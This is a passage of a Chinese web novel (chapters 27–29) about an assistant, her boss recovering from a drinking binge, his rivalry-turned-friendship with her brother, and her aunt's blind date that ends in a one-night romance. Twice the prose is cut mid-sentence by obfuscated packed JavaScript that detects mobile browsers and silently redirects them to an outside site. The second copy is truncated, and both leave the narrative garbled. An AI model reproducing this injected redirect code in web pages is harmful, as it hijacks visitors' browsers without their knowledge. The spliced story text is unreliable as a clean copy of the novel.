“一切替老板想在前头,是一个助理的基本职业素养。”顾妙挺直了腰杆,感觉自己胸口“大内总管”四个字金光一闪,“前几天你说过要跟廖玄缓和关系,我估摸着时间差不多了,再拖下去有点不好。” 见她这副得意的样子,魏如栩哑然失笑:“你就这么怕月底总结不过关,要自掏腰包给我买礼物?” 顾妙撇撇嘴:“老板你的格局实在太小了。” “廖玄爱吃日料,一会儿我把他喜欢的那家店发给你,另外你帮我买点女孩子比较喜欢用的香水或者化妆品,到时候送给他……”魏如栩沉吟道。 “打住!为什么要送女孩子用的东西?”顾妙万分不解。 魏如栩:“这老家伙品味特别,我哪知道给他买什么合适。他女儿正要出国留学,我想着买点礼物让他带回去,也算个心意。” 顾妙似乎明白魏如栩为什么还是单身狗了:“你又不了解人家的喜好,就随便送化妆品香水,莫不是想麻烦她给垃圾分个类?” “那你说怎么办?” “你有没有他女儿的照片,给我看一眼,我来做个判断。” 魏如栩一脸莫名:“我为什么会有她的照片?” “你爸和他爸这么熟,你俩关系不好吗?”顾妙意外,“这要是放古代,你们九成九要指腹为婚的!” “怎么就指腹为婚了?!”魏如栩似乎是有点恼火,在空气里使劲儿挥了挥手,仿佛是要赶走顾妙无端为他织出来的绯闻,“一天到晚你脑子里都琢磨什么?” 还没等顾妙解释,魏如栩忽然想起什么来:“算了,廖玄喜欢喝咖啡,你研究一下,买点小众装13的手冲咖啡工具,越适合拍照的越好。价格无所谓,反正他也不缺钱,就是个心意。” “嗻!”顾妙无奈地行了个太监礼,看得魏如栩简直要不顾形象翻白眼。 见小魏总懒得搭理她,转身要走,顾妙心里窃喜,可是她屁股刚一沾板凳,魏如栩又拐回来了。 顾妙立刻站了个军姿:“长官还有什么吩咐?!” “小丫头,再变着法打听我情史,我会以为你对我有意思。”魏如栩似笑非笑,扔下这么句话,得意地打量了顾妙瞬间红了的脸,带着满腔成就感钻进了自己的办公室。 顾妙:“???” 呸呸呸,长得帅自恋不收税是吗?! 叫谁小丫头?老娘还比你大半个月呢! 看起来魏如栩有空调侃顾妙,似乎心情不错,可是他一脱离顾妙的视线,脸色立刻阴沉下来。 27. 第二十七章 两只公孔雀 半夜魏如栩就难受醒了,胃里一阵火烧火燎,有些东西呼之欲出。他一欠身,看到床边有个垃圾桶,想都没想就吐了个天昏地暗。 吐完之后觉得舒服多了,才发现自己没换衣服躺在床上,而昨晚到底怎么回来的,他一帧画面都想不起来,只记得自己坐在一群从来没见过的客户中间被他们灌酒。 那些客户都是老油条,劝酒办法多得是,他又是第一次跟他们见面,一心想留个好印象,所以也不敢不喝,强装出一副纵横酒场许多年的样子,纵情豪饮,来者不拒,硬生生把自己给喝断片儿了。 难道是廖玄把自己送回来的?可是魏如栩还记得,那老家伙洋酒啤酒混着喝,也快睁不开眼了。 魏如栩看了看天光,外面已经隐隐亮了起来,他下意识地摸了摸口袋,掏出手机,已经四点多了。 突然又是一阵恶心,他强撑着起来,跑去洗手间吐了个干净,接着漱漱口,洗了把脸,觉得总算是神魂归位,这才踉踉跄跄扶着墙出来,打算回床上再睡个回笼觉。 从洗手间出来,他这才注意到沙发上居然躺了两个人,吓了一跳,差点喊出来,幸好下一秒他就认出来其中一个是顾妙,把已经到了喉咙口的尖叫生生咽了回去。 再看旁边沙发上,虽然只见过一面,但他隐约也能认出来那个是顾肖。 原来是他俩把自己送回来的呀,魏如栩顿时安了心。他轻手轻脚地走到顾妙旁边,拿起靠背上搭着的薄毯,小心翼翼地给她盖上。 顾妙睡得很熟,完全没有像电视剧里常演的那样被这个动作惊醒,她只是无意识地皱了皱鼻子,看起来可爱极了。 魏如栩感兴趣地蹲下,仔细打量着顾妙的脸,看她白净的皮肤和精致的眉眼,心想之前她竟然大言不惭,声称自己是四十岁,也不知道是谁给了她勇气。 明明一点也不像嘛! 要不是那会儿因为父亲的病和公司的事儿搞得自己焦头烂额,魏如栩认为自己铁定不会被她糊弄。 想到这里,他下意识地伸出手去,在她的鼻尖上轻轻一点。 魏如栩心想:“鬼丫头!” 然而下一秒,顾妙就睁开了眼,她那还没来得及对焦的眼睛看到面前的人影,防御本能地唤起了肢体反应,不过脑子地一拳打了出去! 饶是这一拳没什么力气,也结结实实地打中了魏如栩的鼻子。 他下意识向后闪避,本来好好蹲着,现在一个屁股蹲坐在地板上,捂着鼻子“嗷”地叫了出来。 好嘛,前两天刚吃了她的头发,这回升级吃拳头了。 旁边顾肖睡梦中被惊醒,一骨碌坐起来,顺手拎了个抱枕,惺忪睡眼环顾四周:“谁?!” 顾妙这会儿已经看清了魏如栩的窘态,吓得赶紧爬了起来:“小魏总?你……你没事吧?不好意思啊,我刚才没看清……” 魏如栩拿开手,发现没流鼻血,也不是太疼,于是轻轻揉了揉鼻尖,一脸苦闷:“大侠,你怎么睡个觉还拳打脚踢的?” “我姐是跆拳道红带,你还不知道呢?谁也不敢在睡觉的时候靠近她。”顾肖也清醒了过来,放下抱枕,带着未消的困意,说话声音黏黏糊糊,“就我小姨贼大胆,敢跟她睡一张床,半夜没少挨揍。幸亏我姐睡着了没什么劲儿。” 魏如栩一把拉住顾妙要伸不敢伸的手腕,借力站了起来,看她满脸愧疚,温和地笑了笑:“怕什么,我又不吃人。还得谢谢你们昨晚把我送回来。” 顾妙松了口气,摆摆手:“小事情。” “是顾肖吧?第二次见面,你好。”魏如栩冲顾肖彬彬有礼地伸出手。 顾肖刚醒盹,没想到魏如栩这么一本正经,他也站起来,握住魏如栩的手,暗暗用了几分力。 魏如栩感受他的力度,自然也不甘示弱,手上也加了劲儿。 俩人你一来我一往,握手时间略微长了点,顾妙莫名其妙觉得哪里有些不对。 “正式做个自我介绍,我叫顾肖,惟妙惟肖的肖,这个字在我的名字里发四声。”顾肖狭长的丹凤眼瞟了瞟旁边的顾妙,强调地说,“我是顾妙的弟弟。” “明白,我不会再搞错了。”魏如栩微微笑了笑,“我是‘栩栩如生’,你们姐弟俩‘惟妙惟肖’,看来我们的名字很有缘分。” 顾肖不置可否地一点头:“听说你想让我教你打游戏?” “业务需要,没办法。我技术不高,只能请外援了。”魏如栩面色仍旧有点发白,但笑容货真价实,露出标准的八颗牙齿,“幸亏能认识你这个高手。” “高手可不敢当,只是普通偏上的程度,虐个菜还行。” 顾妙看看顾肖和魏如栩,这段对话听得她尴尬癌都犯了,越发觉得状况诡异。 这俩货神态是一样的客套而倨傲,摆着程式化的微笑,活像两只公孔雀,为了自我防御而开屏,一边走位一边冲对方展示自己漂亮的羽毛,试图证明自己的实力,嘴上还在假惺惺地谦虚。 简直是如出一辙的装模作样! “拜托了两位大佬,你们快从天上下来吧!”顾妙忍无可忍,“俩熊孩子装什么装,都给我说人话!” 魏如栩和顾肖同时看了她一眼,面面相觑,露出了同样无奈且包容的表情,一起摇了摇头。 仿佛倒是她上不了台面,丢脸了似的! 顾妙看看这俩人,感觉脑子里有个地方“轰”地一声碎了,心想她一个如花似玉的妙龄少女,正是活出自我活出本真的年龄,有个心眼多如筛子的弟弟就够了,怎么偏偏还有了这么一个假面老板?! 以她一己之力怎么跟两个人精抗衡? 以后日子还能不能好过了? 看时间还早,魏如栩表示大家各自再睡个回笼觉,接着就回了卧室。 顾肖很快沉入梦乡,顾妙倒是在沙发上辗转反侧起来。 总觉得家事跟公事搅合在一起不是好事。顾妙心想,也不知道这两人能不能聊到一起去,要是彼此能看得上,一片祥和倒也好了。如果相互都看不对眼,那之后免不了见面,万一尴尬怎么办? 不过她很快就释然了,这俩货又不是要谈恋爱,合则来不合则去,关她什么事? 再说顾肖很快就滚去学校,除了寒暑假,估计连她都见不着面,她又没有把老板往家带的习惯,就算俩人合不来,也无所谓吧。 想通这一点,顾妙的心总算沉入胸腔,没过两分钟就睡着了。 可感觉只睡了一分钟,闹钟就无情地响了起来。 顾妙伸手扒开彼此眷恋的眼皮,晕晕乎乎走到魏如栩卧室外,敲了敲门,用念经般的声音喊:“老板,起床了。” 魏如栩脸埋在枕头里:“唔,今天我不去上班了,在家跟顾肖练游戏。你去吧,要是廖玄问起来,就说我喝多了犯胃病,休息一天。” 为什么他们两个可以休息,自己就得上班?! 顾妙心中泪流满面,老板你不是体贴下属吗,怎么不能给我放一天假? 抱怨归抱怨,她还是乖乖洗了把脸,去了公司。 因为今天安排了面试创意B组的候选人,按照之前跟HR说好的,她要和喻真一起参与。 经过副总办公室,顾妙看见车翔跟她一样苦逼地来上班,脸上黑眼圈大得快要砸脚面了,一边盯着电脑一边打呵欠。 顾妙跟他打了声招呼:“翔哥早。” 车翔看到顾妙,起身拦住她:“小顾,稍等。” 他从旁边小吧台拿了个马克杯,倒了杯咖啡递给她:“昨晚也没睡好吧,看你脸上困意还没消。这是廖总常喝的豆子,你尝尝,顺便提提神。” 顾妙大眼睛往办公室里瞅了瞅:“廖总的咖啡你也敢喝?” “他口味叼,豆子超过一周他肯定不喝。不过我觉得口味还可以,扔了可惜。”车翔觑着顾妙脸上的表情,笑着说,“你放心,他还没来,估计今天不来了。” 顾妙放了心,接过杯子喝了一口:“唔,日晒耶加雪啡,喝起来还真不错耶!” 车翔睁大了眼:“你也懂精品咖啡?” “一点点啦。”顾妙高深莫测地一笑,并没多解释,看着车翔脸上无法掩饰的吃惊,终于体会到了顾肖和魏如栩为什么爱装模作样,这感觉还挺好玩的。 她没解释,车翔也没多问,只是满怀歉意地说:“昨晚我不该叫你去的,是我没考虑周全,抱歉。” 顾妙恰如其分地露出了一点点夸张的表情:“哪里不周全了,我是小魏总的助理,鞍前马后这种事是我该做的。我弟就是一个熊孩子,屁事儿不懂,他的话你别往心里去。” “让你一个女孩子去照顾小魏总,确实有点不方便……” “职责所在,我自己会看着办的,这点能力都没有,还怎么出来混。”顾妙冲车翔一挑眉,半开玩笑地说,“放心吧翔哥,我会把你们小魏总照顾好的,一定让廖总放心——杯子我拿走了,等回头洗干净了给你送回来。” 顾妙虽然耿直,但并不傻,话说得滴水不漏,几层意思全传达到了,让车翔没办法再说什么,只能冲她点头微笑。 其实把烂醉如泥的魏如栩交给他们,顾妙自己还不放心呢,谁知道这帮油腻的中老年男子会干出什么事来。 虽然她涉世未深,但在酒吧和咖啡馆打过工,亲眼见的事儿不少,也听过小刘说了很多民间传奇轶事,不得不承认,有时候真是善良限制了自己的想象力。 这些做客户的人,面热心狠手黑,到了廖玄这个年龄,刚正不阿的自然不说,要是使起坏来,各个都是修炼了千年的老妖精。 魏如栩就算浑身都是心眼,道行差距摆在那,孤身一人作战,难免会落下风。 这次只是给灌酒灌得断片儿了,下次要是有人成心给他加点料什么的,岂不是后果不堪设想? 不过返回头来,顾妙觉得自己可能想得有点多,毕竟廖玄跟老魏总是多年搭档,也不至于使出什么下三滥的办法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459404|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 总之是害人之心不可有,防人之心不可无啦! 回到工位上,处理了日常一些事情,吴穹就在微信群里呼唤了她。 顾妙匆匆拿起小本子,下楼到会议室集合。 真是风水轮流转,这么快就轮到她面试别人,跟做梦似的。 之前的事,顾妙也跟魏如栩交流过,两人共同决定,面试的时候顾妙只观察不出声,这轮筛选由HR和喻真一起做,顾妙只负责记录她认为不错的人选。 接下来魏如栩会打着学习的名义,邀请创意部总监方德潜跟他一起做最终面试,届时再定最后的人选。 免得公司里说小魏总要培养亲信,也避免新招进来的这几位未来同事在工作中被人排挤。 只是想想要再一次面对喻真,顾妙有点头皮发麻。上次尴尬的记忆还历历在目,不知道这位大姐这次会说什么。 会议室外两排折叠椅已经坐满了人,顾妙搭眼一看,几乎都是跟自己年龄差不多的年轻人。有的带着画册,看来是要应聘美术,有的则打印了一文件夹的稿件,估计应该是文案。 这些等待面试的人看到挂着工牌的顾妙经过,纷纷向她投来礼貌的目光,那些目光中掺杂着希望被注意到的渴望和被善待的紧张,一簇簇小火苗般的灼热。 顾妙虽然心理素质还可以,但这种万众瞩目的感觉仍然会让她有点心虚。她努力避免跟任何人目光接触,一边摆出一张职业化的微笑脸,推门进了会议室。 喻真已经坐在里面,正低头看简历。 公司没有要求上班穿职业套装,只要符合有领有袖的基本原则就可以。但喻真日常穿的都是长裤短袖西装,头发梳得一丝不乱,端坐在那里,整个人散发着生人勿近的强大气场。 如果不是她偶尔动一下,简直要坐成一尊冰雕。 听到门响,喻真抬起头来看了顾妙一眼。 顾妙微笑地跟她打招呼:“喻总。” 先前被小王告知,在他们公司里,副总监级别以上大家并不区分称呼,都混着称呼“某总”,好让人听起来觉得顺耳。 “嗯。”喻真冲她笑笑,笑容也很标准,看不出亲疏远近。 顾妙坐到她旁边,喻真递过来一摞纸:“这是文案的笔试卷子,你先看看。” “好嘞。” 卷子上都是一些创意相关的开放性问答题,顾妙随便翻看着,觉得挺有意思。 有的人卷面干净,错别字修改得极少,有的人就来回划,感觉像是总在否定自己的想法。 有一张卷面让她印象深刻,不是因为回答多有创意,而是答案图文并茂,一个个手绘的小图案非常活泼,主人一定是个可爱的小女孩。 喻真突然开口:“笔试是刚才临时做的,为的是考验应聘者的临场反应。” 顾妙一怔,心想也对,这样才能看出真实水平,要不然随便拿别人的文章来冒充自己的,也不好甄别。 “看这些题,我真庆幸自己不是文案。”顾妙笑道,“上学的时候作文水平就不上不下,写个八百字快把头发都挠秃了。” “这跟写作文也不一样,并不是文字优美就行。”喻真并没看顾妙,仍旧翻着手里的简历,“文案内容一要有创意,二要精准,才能达到广告的目的,堆砌华丽辞藻没有意义。” “您说得对。”顾妙连连点头,她看向喻真的侧脸,权衡了一下,才狗腿地说,“小魏总也知道我没什么经验,特意让我来学习。这次……” 喻真冲她一弯嘴角:“毕竟也是我们部门用人,我自然要把关。将来小魏总想了解工作流程,亲自参与项目,要是看我们创意部人浮于事,这个责任我可担不起。上次戴伟伦那事儿,我这个做上级的也有责任,可不能再出什么纰漏了。” 顾妙怔了怔,顿时明白喻真这次大变脸,或许跟魏如栩和她说了什么有关。但不管怎么样,事情不再拧巴,她也好做多了。 “嗨,谁也不是X光眼,哪能看得这么清。”顾妙无奈摇摇头,“你可别往心里去。其实开除戴伟伦以后,小魏总也别扭了半天,就是怕让大家心寒。但不开也没办法,这属于人品问题,不能原谅。” 她余光观察着喻真的表情,装作漫不经心地补充道:“用人管人真是个学问,有时候要怀柔,有时候又要铁腕,你们这些做上级的太不容易了。” “你这小丫头,倒挺会说话。”喻真淡淡地笑了笑,“机灵点是不错,有前途。” 顾妙笑嘻嘻地冲她做了个鬼脸:“谢喻总夸奖!” 虽然这次对话进展顺利,但用顾肖的话来说,顾妙始终看不清这位喻总的屁股跟谁坐在同一条板凳上。 有时候她觉得自己跟顾肖一起长大也算有好处,不走心的时候归不走心,一旦用心,也算还能勉强招架,不会被人随便糊弄。 也不知道顾肖和魏如栩那边怎么样了,顾妙忧心忡忡地想。 她的担心不是多余的,这俩货快打起来了。 28. 第二十八章 都挺好 早上顾妙刚去上班,魏如栩也睡不着了。虽然一晚上没怎么睡好,但毕竟客厅里还睡了个外人,他也不好意思赖床。 起床洗了个澡,把自己搞搞清爽,出来客厅一看,顾肖也已经起来,正低头玩手机。 毕竟对方是客人,还是自己想要讨教的老师,魏如栩客客气气地说:“饿了吧?想吃点什么?开封菜还是金拱门?” “甜咸不忌,中西不挑。”顾肖站起身,“客随主便,你决定吧。借洗手间用用。” “你随意。” 招待完早饭,俩人一起坐到电脑前。从魏如栩登录游戏开始,顾肖看到他还没出新手村的那一刻,刚刚那虚情假意的客套就破碎了。 饶是顾肖是个慢性子,看到魏如栩眼瞎似的骚操作,也忍不住窝了一口心头火。何况顾肖这种慕强型选手,对菜鸡绝对零容忍。 起初他压住不常有的脾气,耐心给魏如栩介绍了一遍,告诉他一些操作要领和自己的心得,希望他再操作时能够实现质的飞跃。 可是游戏这种东西也是需要长期训练的,怎么可能靠旁人指点一下就能提升境界? 魏如栩本来就不擅长玩游戏,玩不好就不玩,平时很少碰。现在为了跟人找话题,不得不来啃这块硬骨头,本来也压着心烦呢,虽然顾肖态度好,但他也能看出对方强忍着没发作,心里也非常不爽。 “玩得好了不起么?装模作样的小屁孩!”魏如栩心想。 “看着挺聪明怎么长了个猪脑子?无药可救的富二代。”顾肖悄咪咪地翻了个白眼。 最终顾肖耐心告罄,一时放松,面具碎了一地,一大波讽刺金句把魏如栩顶了个倒仰。 魏如栩平时给女孩子、长辈面子,但同龄男青年及男性小屁孩不享受他的礼貌待遇。面对嘲讽大招他也不甘示弱,技巧不成熟地怼了回去。 毕竟跟顾肖比怼人,没有人能在技术上取胜,只能在气势上实现镇压。 这也是好事,两个人都告别了一开始装腔作势的状态,向对方揭露了本来面目,相处起来倒不累了。 最终魏如栩负气地一扔鼠标:“不玩了,什么破游戏。” “不行就不行,还不让说,起开!”顾肖扒拉走魏如栩,坐在电脑前,“学着点!” 然而等顾肖炫完技,回头一看人没了,难怪刚刚这么安静,敢情人家根本没看! “魏如栩!”顾肖怒气冲冲地喊,心想暑期班那几个熊孩子还知道尊师重教呢,这个超龄熊孩子真是朽木不可雕。 洗手间传来冲马桶的声音,魏如栩好整以暇地出来,双手交叉抱在胸前:“干嘛?” “让你看操作,你乱跑什么?”顾肖额角青筋暴跳。 魏如栩故作震惊:“上厕所也得提前通报?顾老师管得倒宽!” 顾肖“嚯”地站起身,看着魏如栩,狭长的眼睛轻轻眯了眯。 魏如栩也毫不示弱,眉毛挑得快要飞出发际线。 这俩人,一人浑身罩着“擅近者斩”的元气罩,一人脑门上冒出一缕“不服来战”的青烟,对视半晌,堪堪找回了离家出走的修养,突然同时开口。 魏如栩:“我不学了。” 顾肖:“另请高明。” 听到对方说的话,俩人又是一愣。 明明达成所愿,但特娘的还真是不爽! 这时候两人的手机同时一响,打破了雄性动物之间对峙的尴尬,各掏各的手机,低头看去。 原来是顾妙把他俩拉到了一个群里,问了一句不太该问的话:【你俩进行得怎么样了?】 魏如栩和顾肖迅速看了对方一眼,同时回复。 魏如栩:【进展顺利。】 顾肖:【好着呢。】 然后俩人面面相觑,同时露出了一个高深莫测的笑容。 对此一无所知的顾妙:【那我就放心啦。】 战火倏地熄灭,空气中只剩尴尬的灰烬,两个奇男子你看我我看你,一时不知道该说什么。 顾肖本能地舔了一下嘴唇,魏如栩后知后觉地意识到自己的待客之道实在不怎么样,从冰箱里拿了瓶矿泉水扔给顾肖,同时试图给自己找场子:“平时不大玩这个类型的游戏,手生。” “唔,你都玩什么?”顾肖灌了口水,感觉心绪平复了很多。 “像文明那种策略游戏。”魏如栩也咕咚咕咚一口气喝了半瓶水,“不过我还是喜欢户外,以前喜欢打篮球,回国没人一起玩,现在就是玩滑板。” 听到篮球顾肖眼睛顿时亮了:“没人玩找我啊!五分钟之内,给你组队。” “走着!” 顾肖说到做到,手机上呼朋引伴,很快组了队,带着魏如栩奔赴体育场,酣畅淋漓地打了一下午。 等顾妙这个社畜终于挨到下班时间,好容易联系上纵情娱乐的俩人,赶到碰头饭店的时候,发现这俩货已经开始勾肩搭背互称哥们儿了。 魏如栩个子高,弹跳力强,打中锋前锋都很灵活,堪称得分王;顾肖心脏爱动脑子,打组织后卫,指挥得当,分球合理。俩人第一次配合就默契十足,几场球下来联手虐坏了顾肖叫来的同学。 在球场上用汗水和比分凝结的友谊万古长青! 那眼不是眼鼻子不是鼻子的对峙状态,似乎已经成了上辈子的事儿了。 饶是顾妙不知道他们俩还曾经唇枪舌剑过,都觉得这转变过于突兀:“你俩是不是进展太快了?” 顾肖瞟她一眼:“不然怎么的,还得三书六礼?” 得,当着魏如栩都能怼她,看来俩人已经进入了互露真面目的level。 顾妙看向魏如栩:“游戏的事儿怎么样了?” “嗨,一天半天的也没用,我想也不用费那个劲。”魏如栩笑着看了顾肖一眼,“等见那些朋友的时候,直接带顾肖过去就行。我只是要跟他们找共同话题,又不是要当电竞选手。” 顾肖洋洋得意:“你放心,我保准把他们都给喷趴下。” 顾妙:“……” 真不知道能喷有什么好得意的,不过想想她给顾肖起的外号,什么火烈鸟、花喜鹊、孔雀的,鸟类确实能瞎哔哔。 起外号的时候没考虑到这一点,现在看来倒是歪打正着。 “恭喜小魏总喜提男公关。”顾妙似笑非笑地看了魏如栩一眼。 看来运动使人分泌多巴胺内啡肽,这是两人相识以来,她在他脸上看到过的最轻松的表情。 魏如栩把厚厚菜单递给顾妙,喜气洋洋地说:“今天我请客,敞开点。” “顾肖,晚上不回去吃饭,跟小姨说了吗?”顾妙低头看着菜单发问。 “甭瞎操心了,小姨晚上去相亲。” 凌晏如一点也不想去相亲。 婚变还没一个月,需要这么着急忙慌地跳下一个坑吗?她刚租了房,开始单身生活,目前蛮享受这种自由自在的感觉。 虽然搬出来的理由是要焕发第二春,但凌晏如认为,是否焕发第二春,跟男人并没什么直接关系,尤其通过相亲这种严肃认真的方式所结识的男人。 但亲戚们可看不下去,尤其那位住在邻市的二姑,也就是顾妙顾肖的二姑姥姥。 老人家一个视频电话打过来,把目前的婚恋市场现状从国家到省市给凌晏如捋了个清清楚楚,层次分明逻辑清晰,凌晏如简直怀疑她找了篇论文直接背了下来。 不仅有理论和数据,老太太还援引身边各种案例,告诉她现在婚恋市场有多么高标准严要求,更别提凌晏如这种二婚女有多难择偶,基本都是被人挑,没有挑人的资格。 如果她再不抓紧,年龄再大点,搞不好就只能找比她大十几岁的老头子了! 二姑深谙劝人技巧,把情况描绘得乌云盖顶之后,叹了口气,在看似黑暗的情况下开始寻找一线光亮,约等于打一棒子再给一颗甜枣:“但就你的条件来说,也没必要这么担心。虽然暂时没工作,但你还算年轻,还拿了国外身份,而且也没孩子,这都是你的加分项,所以该挑还是得挑,就是得抓点紧。” 也不知道老太太为什么那么新潮,非要打视频电话,面对屏幕上她老人家那营造出睥睨凡尘气质的俯视角度,凌晏如只能一边乖乖地听,一边端着尴尬而不失礼貌的笑容。 铺垫了这么多,老太太最后才说了真实目的,大约就是她老姐妹的朋友的亲戚的儿子,也在本市,刚离婚不久,年龄跟凌晏如不相上下,带了个八岁的儿子。 二姑想得周到,正好凌晏如也不能生,这样一来免去生育压力,白捡个现成的儿子。孩子还小,只要耐心对他,将来一定能把她当亲妈孝顺。 凌晏如哭笑不得地听二姑把那个男的夸得天上有地下无,心想如果自己不表个态,非得把电话打得过热关机了不可,于是她脆生生地答应了跟对方相亲,换来了自由和老太太几句夸奖。 硬核小姨凌晏如同学根本不在意二姑那些危言耸听的话,左耳进右耳出,别说云彩了,一片露水都没留下。 久在樊笼里,复得返自然,自然是要燥起来,谁特娘的要再入围城?! 什么条件不条件的,享乐人生还需要条件么? 哦不,颜值身材还是有要求的。 凌晏如照照镜子,看她依旧青春的面孔和曲线玲珑的身材,谦虚地心想老娘要是没资本挑人,世界上百分之七十的女人都得去死一死了。 想相亲成功不好办,要搞砸一次相亲容易得很。 跟那个男人在微信上聊得火热,对方看了她的照片,也满怀期待地想要见一面,于是让凌晏如定个吃饭的地方。 凌晏如想都没想,打开评分软件,搜了当地最贵的一家西餐厅,链接直接甩了过去。 十分钟过去,对方没回信,按照之前聊天回复速度,她以为对方已经把他拉黑了的时候,收到了一条回复。 “那好吧,到时见。” 不情愿的感觉已经溢于言表了好嘛! 感觉事成了一半,凌晏如窃喜。 约会当天,化好妆之后,穿上最贵的裙子,戴上最贵的首饰和表,拎起最贵的包,把自己包装成一个拜金女之后,安全起见打了一辆豪华车,准时赶到了约好的西餐厅。 守时是出于对对方的尊重,她只想搞黄这次相亲,并不想下别人的面子。 然而她在西餐厅坐了半个多小时,相亲对象没来,发微信也不回,整个人恍若不存在。 他是不是实际上已经来了,但是看到我这身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他低声接了电话,歉意地对女士表达有些工作上的事需要处理,便拿着手机脚步匆匆地出去说。 凌晏如伸长了脖子,好奇地想看一眼这位神仙长什么样,自己手机一响,把她吓了一跳。 是相亲对象发来的消息,大致意思是儿子突发急病,恐怕无法赴约,只能下次再说了。 吁,精心准备的防御罩还没给他看呢,敌人就先撤退了。 凌晏如无心求证对方借口的真假,倒觉得浑身轻松,体贴地回他一句“没关系,照顾孩子要紧”,便叫来服务生,迅速点了餐。 总算能放下包袱大吃一顿啦! 外出接电话的男士还没有回来,而跟他相亲的女士已经迫不及待跟闺蜜报告了情况,她简单而迅速地把这位男士的问题概括了一下,表达了自己对他完全没有兴趣的中心思想。 对方闺蜜也是个狠人,似乎在电话里劝这位女士不告而别,貌似她那边有场子,当中不乏优秀的单身男青年。 女士捏着电话,声音中表现出十足的向往,但又不好意思绝尘而去:“这……不太好吧?这边餐都点了,也不便宜呢——你那边什么时候结束?啊?这么快?上次那帅哥也在?行,我这就过去,一定等我啊!” 没几句话,这女士就克服了心理障碍,拎着包匆匆离开。 凌晏如想回头看她一眼,只见一个白色的人影一晃而过,快得像道闪电。 这闪转腾挪的速度,简直穿着高跟鞋百米都能跑进九秒钟。 凌晏如不禁为那位男士感到遗憾,等他回来看到这张空桌,再强大的心灵也会遭受一点点打击吧。 然而一看到服务生端上来牛排,她就把什么男士都忘到一边去了。 她在国外开的是中餐馆,所以并没有对中餐狂热怀念。倒是回国之后这么久,还没吃过像样的牛排。 正当服务生弯腰替她掀开罩盅的时候,一个男人匆匆坐到了她的对面:“不好意思啊,公司有点急事,我……” 服务生站起身,闪开空挡,凌晏如跟那个天外来客一样的男人诧异地大眼瞪小眼。 男人:“……” 凌晏如:“……” 这位哥哥长得很精神嘛! 服务生对这尴尬的场面视若无睹,职业地一点头,说了句“请慢用”便转身离开。 等等,我看见你嘴角没憋住笑了! 对面男人不好意思地挠了挠头:“抱歉,我坐错位子了,刚刚服务生挡住你,我还以为……” 凌晏如已经从穿着和声音认出来,他就是刚刚坐在自己背后的那位男士。想到他一会儿将要面对的失落,便不忍苛责,何况这本来也没多大事。 “没事,别放在心上。”凌晏如冲他笑了笑。 男人赶紧回到自己座位上,凌晏如往靠背一靠,竖起耳朵打算听下文。 或许是那女士发了条信息解释了一下,男人发出了一声几不可闻的叹息,接着就叫来了服务生。 “这桌点的餐,还能退吗?”男人的声音听起来倒是没有多少失望。 服务生:“我问下——抱歉,已经端上来了,不能退了。” 凌晏如抬头一看,果然看到另一名服务生端着托盘走了过来。 男人哽了一下,自嘲地笑了笑:“那就放下吧。” 两名服务生离开后,凌晏如忍不住回头看了一眼那人,莫名觉得他那宽阔的后背似乎承载着无法言说的忧伤。 出于颜狗的基本修养,凌晏如轻轻拍了拍他的肩膀:“同是天涯沦落人,要不要拼个桌?” 29. 第二十九章 猿粪 男人微微挑起眉,诧异地看着凌晏如,一时之间不知道该说什么好。 凌晏如冲他一乐,大大方方地说:“不好意思,我也相亲,被人放鸽子了,刚刚不小心听了你们全过程——我发誓不是故意的,这两桌挨得实在太近。” 听到最后这句话,男人想起刚刚自己闹的乌龙,释然地笑了,端起两份牛排坐到了凌晏如对面。 “正好我吃不完,多出来这一份咱俩一人一半怎么样?”男人看着凌晏如的盘子,试探地问道,“你还吃得下吗?” 凌晏如笑嘻嘻地:“今天出门没看黄历,自然不能亏待了自己。” “那来瓶红酒助兴怎么样?我在这里存了几瓶酒,朋友送的,都还不错。” “好啊,尝尝你的品味。” 凌晏如心想,看来这人经常来这儿,难不成是做客户或者做销售的? 男人招呼过来服务生,吩咐他去取酒,这才想起什么似地对凌晏如说:“还没自我介绍,我叫盛然。” “凌晏如。” “谢谢你救场。”盛然赧然一笑,“要不然我一个人吃完两份牛排,脸皮又磨炼出新厚度。” 凌晏如促狭地看着他:“我看你也不怎么失落。” “没什么,习惯了。相亲这么多次,好多姑娘都是一听我妈和我侄女,脸色就变了。” “明白。”凌晏如点点头,“难怪你把她约到这家你比较熟的餐厅,免得丢脸丢到外边去。” 盛然无奈地摇了摇头:“看破不说破呀朋友!” 服务生很快拿来了红酒,给两人倒上。盛然举起酒杯:“萍水相逢,多谢女侠搭救。” 凌晏如和他“砰”地一碰杯:“路见不平一声吼。” 吃饭期间,盛然没有打探凌晏如的私事,凌晏如也没过问他的情况,两人东拉西扯聊了些共同感兴趣的话题,聊得倒是很热闹。 吃完饭两人互留了联系方式,盛然叫了代驾,打算先把凌晏如送回家去。一听他俩居然住一个小区,微醺的两人都觉得有点意思。 盛然心想:“小区太大也不好,这么好的姑娘现在才遇见。” 凌晏如暗自琢磨:“噫,窝边草,到底吃不吃呢?” 这点犹豫根本经不起酒精的催化,俩人在车后座上就情意绵绵地啃了起来,也说不清是谁先主动还是一拍即合,总之闪瞎了代驾小伙的眼。人家一边开车一边坚定地目视前方,暗搓搓戴上了耳机。 凌晏如特意租的小屋终于发挥了理想中的作用,俩人进屋连开灯都省了,跟美剧常见电视剧镜头一样,一边亲吻一边进了卧室,接下来就烛影摇红被翻红浪这样那样…… 这次相亲,他俩都觉得挺成功的。 于凌晏如而言,这一夜正式将她不堪回首的过往掀了过去,她更坚定了从此之后为自己而活的决心。 对盛然来说,看多了那些挑挑拣拣、尤其是对自己母亲和侄女极为介意的女人,突然遇上这么一个反其道而行之的,真是觉得神清气爽,似乎吐出了一口长期憋在心里的怨气。 当然他并不傻,对方什么都没问,大约只是因为萍水相逢,并未要跟他有什么牵扯,不在乎罢了。 